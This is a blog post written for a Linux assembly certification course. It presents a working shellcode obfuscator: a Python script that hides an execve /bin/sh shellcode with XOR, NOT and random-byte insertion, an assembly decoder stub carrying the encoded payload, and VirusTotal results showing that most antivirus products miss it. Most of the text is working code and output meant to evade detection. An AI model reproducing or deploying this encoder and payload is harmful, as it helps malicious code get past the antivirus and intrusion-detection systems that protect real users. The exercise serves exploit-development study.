Well, let we make a recap of what we have done since now, we have build a bind shell, a reverse shell and a egghunter shellcode. A lots of nice stuff for hackers out there who want to test their skills, but it’s a useless effort if we want to test this nice things in a real scenario where we can meet Antivirus, ATP or IDS systems. Fortunately, some techniques comes in our help.
In the SLAE course we have study some of this techniques and we appreciated them so much that we decided to use them all together adding a pinch of chaos.
We started using the classic
As said the idea is to use the techniques studied to inject chars inside the execve-stack shellcode. The explanation of the techniques is not in the purposes of this post. If you want to deeply learn how shellcode encoders works you can search for insertion, XOR and NOT encoders. That said let’s explain what we would implement here. Given that:
- the hexadecimal alphabet have the corrispective decimal range from 1 to 255 values
- the XOR with fixed char results can be avoided xoring the encoded char with the fixed char (A XOR B ) XOR B = A
- the NOT operation results can be avoided repeating the NOT operation on the encoded char
Implementation of our encoder works like that:
- Read each char of the shellcode
- if the decimal value of the char is less of 128, XOR it with the 0xDD char
- put a placeholder after the XOR encoded char
- else NOT the char
- put a different placeholder after the NOT encoded char
- put a random char choosed in a range from 1 to 169
- put the 0xaa char at the end indicates that our shellcode is finished
- print the encoded shellcode
We wrote a python script to do that
#!/usr/bin/python # Python Encoder (XOR + NOT + Random) import random green = lambda text: '\033[0;32m' + text + '\033[0m' shellcode = ("\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") encoded = "" # The end char is 0xaa end = "\\xaa" print 'Encoded shellcode ...' for x in bytearray(shellcode) : if x < 128: # XOR Encoding with 0xDD x = x^0xDD # placeholder for XOR is 0xbb encoded += '\\xbb' encoded += '\\x' encoded += '%02x' % x else: # NOT Encoding x = ~x # placeholder for NOT is 0xcc encoded += '\\xcc' encoded += '\\x' encoded += '%02x' % (x & 0xff) # 0xaa is 170 in decimal and the others placeholders are > of 170 we don't want random chars like our placeholders encoded += '\\x%02x' % random.randint(1,169) print green("Shellcode Len: %d" % len(bytearray(shellcode))) print green("Encoded Shellcode Len: %d" % len(bytearray(encoded))) encoded = encoded + end print encoded nasm = str(encoded).replace("\\x", ",0x") nasm = nasm[1:] # end string char is 0xaa print green("NASM version:") # end = end.replace("\\x", ",0x") print nasm
running the script we obtain an obfuscated shellcode, much larger that than the original, but hey a small but full visible shellcode has no future.
root@slae32-lab:# ./encoder_mixer.py Encoded shellcode ... Shellcode Len: 25 Encoded Shellcode Len: 300 \xbb\xec\x73\xcc\x3f\x9d\xbb\x8d\x51\xbb\xb5\x1b\xbb\xb3\x22\xbb\xf2\x79\xbb\xae\x8e\xbb\xb5\x61\xbb\xb5\x3d\xbb\xf2\x6e\xbb\xf2\x9f\xbb\xbf\x10\xbb\xb4\x89\xcc\x76\x2d\xcc\x1c\x2f\xbb\x8d\x91\xcc\x76\x7e\xcc\x1d\x92\xbb\x8e\x80\xcc\x76\x7b\xcc\x1e\xa7\xcc\x4f\x7f\xbb\xd6\x2b\xcc\x32\x24\xcc\x7f\x37\0xaa NASM version: 0xbb,0xec,0x73,0xcc,0x3f,0x9d,0xbb,0x8d,0x51,0xbb,0xb5,0x1b,0xbb,0xb3,0x22,0xbb,0xf2,0x79,0xbb,0xae,0x8e,0xbb,0xb5,0x61,0xbb,0xb5,0x3d,0xbb,0xf2,0x6e,0xbb,0xf2,0x9f,0xbb,0xbf,0x10,0xbb,0xb4,0x89,0xcc,0x76,0x2d,0xcc,0x1c,0x2f,0xbb,0x8d,0x91,0xcc,0x76,0x7e,0xcc,0x1d,0x92,0xbb,0x8e,0x80,0xcc,0x76,0x7b,0xcc,0x1e,0xa7,0xcc,0x4f,0x7f,0xbb,0xd6,0x2b,0xcc,0x32,0x24,0xcc,0x7f,0x37,0xaa
Well, now that we have the encoded shell we have to wrote an assembly decoder, the idea is very simple, the sequence of the chars in shellcode is:
|placeholder|obfuscated shellcode char|random char|
So we need basically 3 functions:
- a decoder for the XOR encoded char
- a decoder for the NOT encoded char
- a switch that read the placeholder and call the right decoder When we reach the end (char 0xaa) our shellcode is encoded, loaded in EDI and ready to be called
Let’s move to the assembly code
global _start section .text _start: jmp short call_decoder decoder: ; the sequence of the chars in shellcode is: placeholder,obfuscated shellcode char,random char pop esi lea edi, [esi] ; load the first placeholder char in edi xor eax, eax xor ebx, ebx switch: mov bl, byte [esi + eax] ; load the placeholder in EBX cmp bl, 0xaa ; compare it with the shellcode end character jz shellcode ; if whe reached the end jump to the shellcode cmp bl, 0xbb ; if the placeholder is 0xbb Zero Flag is set jz xordecode ; if ZF is set jump to XOR decoder jmp notdecode ; otherwise jump to NOT decoder xordecode: mov bl, byte [esi + eax + 1] ; load the second char (the good one) from where we are mov byte [edi], bl ; load it in edi xor byte [edi], 0xDD ; xoring char with 0xdd to obtain the original one inc edi ; increment edi add al, 3 ; move to the next placeholder char jmp short switch ; loop to decode notdecode: mov bl, byte [esi + eax + 1] ; load the second char (the good one) from we are mov byte [edi], bl ; load it in edi not byte [edi] ; denot char inc edi ; increment edi add al, 3 ; move to the next placeholder char jmp short switch ; loop to decode call_decoder: call decoder shellcode: db 0xbb,0xec,0x73,0xcc,0x3f,0x9d,0xbb,0x8d,0x51,0xbb,0xb5,0x1b,0xbb,0xb3,0x22,0xbb,0xf2,0x79,0xbb,0xae,0x8e,0xbb,0xb5,0x61,0xbb,0xb5,0x3d,0xbb,0xf2,0x6e,0xbb,0xf2,0x9f,0xbb,0xbf,0x10,0xbb,0xb4,0x89,0xcc,0x76,0x2d,0xcc,0x1c,0x2f,0xbb,0x8d,0x91,0xcc,0x76,0x7e,0xcc,0x1d,0x92,0xbb,0x8e,0x80,0xcc,0x76,0x7b,0xcc,0x1e,0xa7,0xcc,0x4f,0x7f,0xbb,0xd6,0x2b,0xcc,0x32,0x24,0xcc,0x7f,0x37,0xaa
Now we can try it
It works! Let see what Virustotal thinks about our shellcode
Well 11 AV detected our shellcode, not perfect but we can deceive ATP like FireEye and AV like BitDefender, F-Secure, Sophos and ClamAV.
This is a prove our shellcode isn’t encoded at best and the encoder itself can be improved but I think this is a good starting point.
You can find this shellcode published on Exploit-DB
Removing the word “Shellcode” from the script improve sensibly our power of obfuscation in Virustotal. In fact using this code to compile and execute the shellcode change positively our results on scan.
As you can see only McAfee mark it as malicious.
This is not an endpoint. To be sure our shellcode is really obfuscated we need to test it on machines running IDS/ATP agents and/or AV. This is the best way to test our obfuscated shellcode, but is out of this post scope. I really appreciate if someone would test it in one or more of the cited environments, please fell free to contact me in this case. Thank you.
All the codes used in this post are available in my dedicated github repo.
This blog post has been created for completing the requirements
of the SecurityTube Linux Assembly Expert certification: SLAE32 Course
Student ID: SLAE-1476